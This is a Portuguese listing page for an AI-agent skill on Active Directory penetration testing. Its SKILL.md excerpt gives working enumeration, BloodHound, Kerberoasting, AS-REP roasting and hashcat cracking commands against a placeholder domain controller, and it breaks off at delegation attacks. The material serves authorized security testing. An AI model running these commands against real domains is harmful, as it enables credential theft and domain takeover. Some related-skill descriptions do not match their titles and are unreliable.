performing-active-directory-penetration-test
Faz seu agente testar a segurança de redes corporativas (Active Directory). Ele procura por falhas para ver se um invasor conseguiria acesso total ao sistema.
O que ela faz
Este recurso simula um teste de segurança focado no Active Directory (AD), que é o sistema de gerenciamento de identidade e acesso usado por muitas empresas. Ele procura por falhas de configuração e caminhos que um invasor poderia usar para obter controle total do sistema, começando de uma conta de usuário comum.
Quando usar
- ✓Ao realizar testes de segurança autorizados em redes corporativas.
- ✓Ao verificar se as proteções de segurança da rede estão funcionando corretamente.
- ✓Ao investigar incidentes de segurança relacionados a falhas de acesso.
Exemplo do que pedir para a IA
“Simule um teste de invasão no Active Directory da minha empresa, começando com as credenciais de um usuário padrão.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ele usa ferramentas especializadas para coletar informações sobre usuários, computadores e permissões no AD. Em seguida, analisa essas informações para encontrar rotas de ataque e tenta explorar fraquezas conhecidas para ganhar privilégios mais altos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-testOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-active-directory-penetration-test/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Testes de Penetração no Active Directory
Visão Geral
Testes de penetração no Active Directory (AD) visam o sistema central de gerenciamento de identidade e acesso usado por mais de 95% das empresas da Fortune 500. O teste identifica configurações incorretas, credenciais fracas, configurações de delegação perigosas, modelos de certificado vulneráveis e caminhos de ataque que permitem a um invasor escalar de um usuário de domínio padrão para Administrador de Domínio ou Administrador de Empresa.
Quando Usar
- Ao realizar avaliações de segurança que envolvam testes de penetração no Active Directory.
- Ao seguir procedimentos de resposta a incidentes para eventos de segurança relacionados.
- Ao realizar testes de segurança ou atividades de auditoria agendadas.
- Ao validar controles de segurança por meio de testes práticos.
Pré-requisitos
- Credenciais de usuário de domínio padrão (ponto de partida mínimo).
- Acesso à rede aos controladores de domínio (LDAP/389, Kerberos/88, SMB/445, DNS/53).
- Ferramentas: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz.
- Kali Linux ou máquina de ataque Windows com acesso ao domínio.
Fase 1 — Enumeração do AD
Coleta de Informações do Domínio
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
Análise de Caminho de Ataque do BloodHound
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
Descoberta de Contas de Serviço
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
Fase 2 — Ataques Kerberos
Kerberoasting
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Ataques de Delegação Kerberos
# Delegação irrestrita — extrai TGTs da memória
# Se você comprometer um host com delegação irrestrita:
…
Perguntas frequentes
O que é Active Directory?
É um sistema de gerenciamento de identidade e acesso usado principalmente em ambientes corporativos para controlar quem pode acessar o quê na rede.
O que significa 'escalar privilégios'?
Significa obter permissões maiores do que as que você tinha inicialmente, como passar de um usuário comum para um administrador do sistema.
Quais ferramentas são usadas?
Ferramentas como BloodHound, Impacket, Certipy, Rubeus e NetExec são usadas para coletar informações, encontrar caminhos de ataque e explorar vulnerabilidades.
Detalhes
Descrição original do autor
Conduct a focused Active Directory penetration test using BloodHound, Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack paths, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when running an authorized AD pentest from a standard domain user foothold toward Domain Admin or Enterprise Admin.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6011
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC